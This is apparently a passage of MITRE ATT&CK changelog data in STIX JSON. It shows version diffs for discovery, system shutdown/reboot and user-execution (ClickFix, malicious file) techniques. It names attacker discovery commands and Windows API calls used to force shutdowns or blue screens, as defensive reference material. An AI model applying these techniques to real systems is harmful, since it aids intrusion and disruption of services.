"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS",
"ESXi"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Christopher Peacock\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.017000+00:00\", \"old_value\": \"2025-04-25 14:45:52.631000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites, or performing initial speed testing to confirm bandwidth.\\n\\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.\", \"old_value\": \"Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.\\n\\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.\\n+Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites, or performing initial speed testing to confirm bandwidth.\\n \\n Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to check Internet connectivity.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to check Internet connectivity.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}",
"previous_version": "1.1",
"version_change": "1.1 \u2192 1.2",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may check for Internet connectivity on compromis | t | 1 | Adversaries may check for Internet connectivity on compromis |
| > | ed systems. This may be performed during automated discovery | > | ed systems. This may be performed during automated discovery | ||
| > | and can be accomplished in numerous ways such as using [Pin | > | and can be accomplished in numerous ways such as using [Pin | ||
| > | g](https://attack.mitre.org/software/S0097), <code>tracert</ | > | g](https://attack.mitre.org/software/S0097), <code>tracert</ | ||
| > | code>, and GET requests to websites. Adversaries may use th | > | code>, and GET requests to websites, or performing initial s | ||
| > | e results and responses from these requests to determine if | > | peed testing to confirm bandwidth. Adversaries may use the | ||
| > | the system is capable of communicating with their C2 servers | > | results and responses from these requests to determine if th | ||
| > | before attempting to connect to them. The results may also | > | e system is capable of communicating with their C2 servers b | ||
| > | be used to identify routes, redirectors, and proxy servers. | > | efore attempting to connect to them. The results may also be | ||
| > | used to identify routes, redirectors, and proxy servers. |
sc query, tasklist /svc, systemctl --type=service, and net start. Adversaries may also gather information about schedule tasks via commands such as `schtasks` on Windows or `crontab -l` on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Splunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020)\n\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1007",
"external_id": "T1007"
},
{
"source_name": "Aquasec Kinsing 2020",
"description": "Gal Singer. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved May 22, 2025.",
"url": "https://www.aquasec.com/blog/threat-alert-kinsing-malware-container-vulnerability/"
},
{
"source_name": "Elastic Security Labs GOSAR 2024",
"description": "Jia Yu Chan, Salim Bitam, Daniel Stepanic, and Seth Goodwin. (2024, December 12). Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite. Retrieved May 22, 2025.",
"url": "https://www.elastic.co/security-labs/under-the-sadbridge-with-gosar"
},
{
"source_name": "SentinelLabs macOS Malware 2021",
"description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved May 22, 2025.",
"url": "https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
},
{
"source_name": "Splunk Linux Gormir 2024",
"description": "Splunk Threat Research Team , Teoderick Contreras. (2024, July 15). Breaking Down Linux.Gomir: Understanding this Backdoor\u2019s TTPs. Retrieved May 22, 2025.",
"url": "https://www.splunk.com/en_us/blog/security/breaking-down-linux-gomir-understanding-this-backdoors-ttps.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Harshal Tupsamudre, Qualys"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.812000+00:00\", \"old_value\": \"2025-04-15 23:14:33.837000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start. Adversaries may also gather information about schedule tasks via commands such as `schtasks` on Windows or `crontab -l` on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Splunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020)\\n\\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\", \"old_value\": \"Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.\\n\\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.\\n+Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start. Adversaries may also gather information about schedule tasks via commands such as `schtasks` on Windows or `crontab -l` on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Splunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020)\\n \\n Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Aquasec Kinsing 2020\", \"description\": \"Gal Singer. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved May 22, 2025.\", \"url\": \"https://www.aquasec.com/blog/threat-alert-kinsing-malware-container-vulnerability/\"}, \"root['external_references'][2]\": {\"source_name\": \"Elastic Security Labs GOSAR 2024\", \"description\": \"Jia Yu Chan, Salim Bitam, Daniel Stepanic, and Seth Goodwin. (2024, December 12). Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite. Retrieved May 22, 2025.\", \"url\": \"https://www.elastic.co/security-labs/under-the-sadbridge-with-gosar\"}, \"root['external_references'][3]\": {\"source_name\": \"SentinelLabs macOS Malware 2021\", \"description\": \"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved May 22, 2025.\", \"url\": \"https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/\"}, \"root['external_references'][4]\": {\"source_name\": \"Splunk Linux Gormir 2024\", \"description\": \"Splunk Threat Research Team , Teoderick Contreras. (2024, July 15). Breaking Down Linux.Gomir: Understanding this Backdoor\\u2019s TTPs. Retrieved May 22, 2025.\", \"url\": \"https://www.splunk.com/en_us/blog/security/breaking-down-linux-gomir-understanding-this-backdoors-ttps.html\"}}}",
"previous_version": "1.5",
"version_change": "1.5 \u2192 1.6",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may try to gather information about registered l | t | 1 | Adversaries may try to gather information about registered l |
| > | ocal system services. Adversaries may obtain information abo | > | ocal system services. Adversaries may obtain information abo | ||
| > | ut services using tools as well as OS utility commands such | > | ut services using tools as well as OS utility commands such | ||
| > | as <code>sc query</code>, <code>tasklist /svc</code>, <code> | > | as <code>sc query</code>, <code>tasklist /svc</code>, <code> | ||
| > | systemctl --type=service</code>, and <code>net start</code>. | > | systemctl --type=service</code>, and <code>net start</code>. | ||
| > | Adversaries may use the information from [System Service D | > | Adversaries may also gather information about schedule task | ||
| > | iscovery](https://attack.mitre.org/techniques/T1007) during | > | s via commands such as `schtasks` on Windows or `crontab -l` | ||
| > | automated discovery to shape follow-on behaviors, including | > | on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2 | ||
| > | whether or not the adversary fully infects the target and/or | > | 024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Sp | ||
| > | attempts specific actions. | > | lunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020) Adv | ||
| > | ersaries may use the information from [System Service Discov | ||||
| > | ery](https://attack.mitre.org/techniques/T1007) during autom | ||||
| > | ated discovery to shape follow-on behaviors, including wheth | ||||
| > | er or not the adversary fully infects the target and/or atte | ||||
| > | mpts specific actions. |
reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\n\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\n\nAdversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \u201cblue screen of death\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\n In some cases, the system may not be able to boot again. \n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1529",
"external_id": "T1529"
},
{
"source_name": "Talos Nyetya June 2017",
"description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.",
"url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html"
},
{
"source_name": "alert_TA18_106A",
"description": "CISA. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved February 14, 2022.",
"url": "https://www.cisa.gov/uscert/ncas/alerts/TA18-106A"
},
{
"source_name": "NotMe-BSOD",
"description": "lzcapp. (n.d.). Retrieved September 22, 2025.",
"url": "https://github.com/lzcapp/NotMe-BSOD"
},
{
"source_name": "Talos Olympic Destroyer 2018",
"description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
"url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
},
{
"source_name": "Microsoft Shutdown Oct 2017",
"description": "Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019.",
"url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown"
},
{
"source_name": "NtRaiseHardError",
"description": "NtDoc. (n.d.). NtRaiseHardError - NtDoc. Retrieved September 22, 2025.",
"url": "https://ntdoc.m417z.com/ntraiseharderror"
},
{
"source_name": "Unit42 Agrius 2023",
"description": "Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.",
"url": "https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"
},
{
"source_name": "SonicWall",
"description": "SecurityNews. (2024, July 12). Disarming DarkGate: A Deep Dive into Thwarting the Latest DarkGate Variant. Retrieved September 22, 2025.",
"url": "https://www.sonicwall.com/blog/disarming-darkgate-a-deep-dive-into-thwarting-the-latest-darkgate-variant"
},
{
"source_name": "CrowdStrike Blog",
"description": "William Thomas, Adrian Liviu Arsene, Farid Hendi. (2022, February 25). CrowdStrike Falcon\u00ae Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved September 22, 2025.",
"url": "https://www.crowdstrike.com/en-us/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Austin Clark, @c2defense",
"Hubert Mank",
"Janantha Marasinghe"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Availability"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Sensor Health: Host Status\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:40.145000+00:00\", \"old_value\": \"2025-04-15 19:59:24.950000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\\n\\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\\n\\nAdversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \\u201cblue screen of death\\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\\n In some cases, the system may not be able to boot again. \\n\\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\", \"old_value\": \"Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\\n\\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\\n\\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,7 @@\\n \\n Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\\n \\n+Adversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \\u201cblue screen of death\\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\\n+ In some cases, the system may not be able to boot again. \\n+\\n Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006. Unexpected or unauthorized commands from network cli on network devices may also be associated with shutdown/reboot, e.g. the reload command.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"NotMe-BSOD\", \"description\": \"lzcapp. (n.d.). Retrieved September 22, 2025.\", \"url\": \"https://github.com/lzcapp/NotMe-BSOD\"}, \"root['external_references'][6]\": {\"source_name\": \"NtRaiseHardError\", \"description\": \"NtDoc. (n.d.). NtRaiseHardError - NtDoc. Retrieved September 22, 2025.\", \"url\": \"https://ntdoc.m417z.com/ntraiseharderror\"}, \"root['external_references'][7]\": {\"source_name\": \"Unit42 Agrius 2023\", \"description\": \"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.\", \"url\": \"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/\"}, \"root['external_references'][8]\": {\"source_name\": \"SonicWall\", \"description\": \"SecurityNews. (2024, July 12). Disarming DarkGate: A Deep Dive into Thwarting the Latest DarkGate Variant. Retrieved September 22, 2025.\", \"url\": \"https://www.sonicwall.com/blog/disarming-darkgate-a-deep-dive-into-thwarting-the-latest-darkgate-variant\"}, \"root['external_references'][9]\": {\"source_name\": \"CrowdStrike Blog\", \"description\": \"William Thomas, Adrian Liviu Arsene, Farid Hendi. (2022, February 25). CrowdStrike Falcon\\u00ae Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved September 22, 2025.\", \"url\": \"https://www.crowdstrike.com/en-us/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/\"}}}",
"previous_version": "1.4",
"version_change": "1.4 \u2192 1.5",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may shutdown/reboot systems to interrupt access | t | 1 | Adversaries may shutdown/reboot systems to interrupt access |
| > | to, or aid in the destruction of, those systems. Operating s | > | to, or aid in the destruction of, those systems. Operating s | ||
| > | ystems may contain commands to initiate a shutdown/reboot of | > | ystems may contain commands to initiate a shutdown/reboot of | ||
| > | a machine or network device. In some cases, these commands | > | a machine or network device. In some cases, these commands | ||
| > | may also be used to initiate a shutdown/reboot of a remote c | > | may also be used to initiate a shutdown/reboot of a remote c | ||
| > | omputer or network device via [Network Device CLI](https://a | > | omputer or network device via [Network Device CLI](https://a | ||
| > | ttack.mitre.org/techniques/T1059/008) (e.g. <code>reload</co | > | ttack.mitre.org/techniques/T1059/008) (e.g. <code>reload</co | ||
| > | de>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert | > | de>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert | ||
| > | _TA18_106A) They may also include shutdown/reboot of a virtu | > | _TA18_106A) They may also include shutdown/reboot of a virtu | ||
| > | al machine via hypervisor / cloud consoles or command line t | > | al machine via hypervisor / cloud consoles or command line t | ||
| > | ools. Shutting down or rebooting systems may disrupt access | > | ools. Shutting down or rebooting systems may disrupt access | ||
| > | to computer resources for legitimate users while also imped | > | to computer resources for legitimate users while also imped | ||
| > | ing incident response/recovery. Adversaries may attempt to | > | ing incident response/recovery. Adversaries may also use Wi | ||
| > | shutdown/reboot a system after impacting it in other ways, s | > | ndows API functions, such as `InitializeSystemShutdownExW` o | ||
| > | uch as [Disk Structure Wipe](https://attack.mitre.org/techni | > | r `ExitWindowsEx`, to force a system to shut down or reboot. | ||
| > | ques/T1561/002) or [Inhibit System Recovery](https://attack. | > | (Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) A | ||
| > | mitre.org/techniques/T1490), to hasten the intended effects | > | lternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Wi | ||
| > | on system availability.(Citation: Talos Nyetya June 2017)(Ci | > | ndows API functions with the `ResponseOption` parameter set | ||
| > | tation: Talos Olympic Destroyer 2018) | > | to `OptionShutdownSystem` may deliver a \u201cblue screen of deat | ||
| > | h\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRais | ||||
| > | eHardError)(Citation: NotMe-BSOD) In order to leverage these | ||||
| > | API functions, an adversary may need to acquire `SeShutdown | ||||
| > | Privilege` (e.g., via [Access Token Manipulation](https://at | ||||
| > | tack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2 | ||||
| > | 023) In some cases, the system may not be able to boot agai | ||||
| > | n. Adversaries may attempt to shutdown/reboot a system aft | ||||
| > | er impacting it in other ways, such as [Disk Structure Wipe] | ||||
| > | (https://attack.mitre.org/techniques/T1561/002) or [Inhibit | ||||
| > | System Recovery](https://attack.mitre.org/techniques/T1490), | ||||
| > | to hasten the intended effects on system availability.(Cita | ||||
| > | tion: Talos Nyetya June 2017)(Citation: Talos Olympic Destro | ||||
| > | yer 2018) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may rely upon a user copying and pasting code i | t | 1 | An adversary may rely upon a user copying and pasting code i |
| > | n order to gain execution. Users may be subjected to social | > | n order to gain execution. Users may be subjected to social | ||
| > | engineering to get them to copy and paste code directly into | > | engineering to get them to copy and paste code directly into | ||
| > | a [Command and Scripting Interpreter](https://attack.mitre. | > | a [Command and Scripting Interpreter](https://attack.mitre. | ||
| > | org/techniques/T1059). Malicious websites, such as those | > | org/techniques/T1059). One such strategy is \"ClickFix,\" in w | ||
| > | used in [Drive-by Compromise](https://attack.mitre.org/techn | > | hich adversaries present users with seemingly helpful soluti | ||
| > | iques/T1189), may present fake error messages or CAPTCHA pro | > | ons\u2014such as prompts to fix errors or complete CAPTCHAs\u2014that | ||
| > | mpts that instruct users to open a terminal or the Windows R | > | instead instruct the user to copy and paste malicious code. | ||
| > | un Dialog box and execute an arbitrary command. These comman | > | Malicious websites, such as those used in [Drive-by Comprom | ||
| > | ds may be obfuscated using encoding or other techniques to c | > | ise](https://attack.mitre.org/techniques/T1189), may present | ||
| > | onceal malicious intent. Once executed, the adversary will t | > | fake error messages or CAPTCHA prompts that instruct users | ||
| > | ypically be able to establish a foothold on the victim's mac | > | to open a terminal or the Windows Run Dialog box and execute | ||
| > | hine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoi | > | an arbitrary command. These commands may be obfuscated usin | ||
| > | a ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citatio | > | g encoding or other techniques to conceal malicious intent. | ||
| > | n: AhnLab LummaC2 2025) Adversaries may also leverage phish | > | Once executed, the adversary will typically be able to estab | ||
| > | ing emails for this purpose. When a user attempts to open an | > | lish a foothold on the victim's machine.(Citation: CloudSEK | ||
| > | attachment, they may be presented with a fake error and off | > | Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citatio | ||
| > | ered a malicious command to paste as a solution.(Citation: P | > | n: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025) | ||
| > | roofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Pas | > | Adversaries may also leverage phishing emails for this purpo | ||
| > | te 2024) Tricking a user into executing a command themselve | > | se. When a user attempts to open an attachment, they may be | ||
| > | s may help to bypass email filtering, browser sandboxing, or | > | presented with a fake error and offered a malicious command | ||
| > | other mitigations designed to protect users against malicio | > | to paste as a solution, consistent with the \"ClickFix\" strat | ||
| > | us downloaded files. | > | egy.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Ma | ||
| > | licioys Copy Paste 2024) Tricking a user into executing a c | ||||
| > | ommand themselves may help to bypass email filtering, browse | ||||
| > | r sandboxing, or other mitigations designed to protect users | ||||
| > | against malicious downloaded files. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may rely upon a user opening a malicious file i | t | 1 | An adversary may rely upon a user opening a malicious file i |
| > | n order to gain execution. Users may be subjected to social | > | n order to gain execution. Users may be subjected to social | ||
| > | engineering to get them to open a file that will lead to cod | > | engineering to get them to open a file that will lead to cod | ||
| > | e execution. This user action will typically be observed as | > | e execution. This user action will typically be observed as | ||
| > | follow-on behavior from [Spearphishing Attachment](https://a | > | follow-on behavior from [Spearphishing Attachment](https://a | ||
| > | ttack.mitre.org/techniques/T1566/001). Adversaries may use s | > | ttack.mitre.org/techniques/T1566/001). Adversaries may use s | ||
| > | everal types of files that require a user to execute them, i | > | everal types of files that require a user to execute them, i | ||
| > | ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cp | > | ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cp | ||
| > | l, and .reg. Adversaries may employ various forms of [Masqu | > | l, .reg, and .iso.(Citation: Mandiant Trojanized Windows 10) | ||
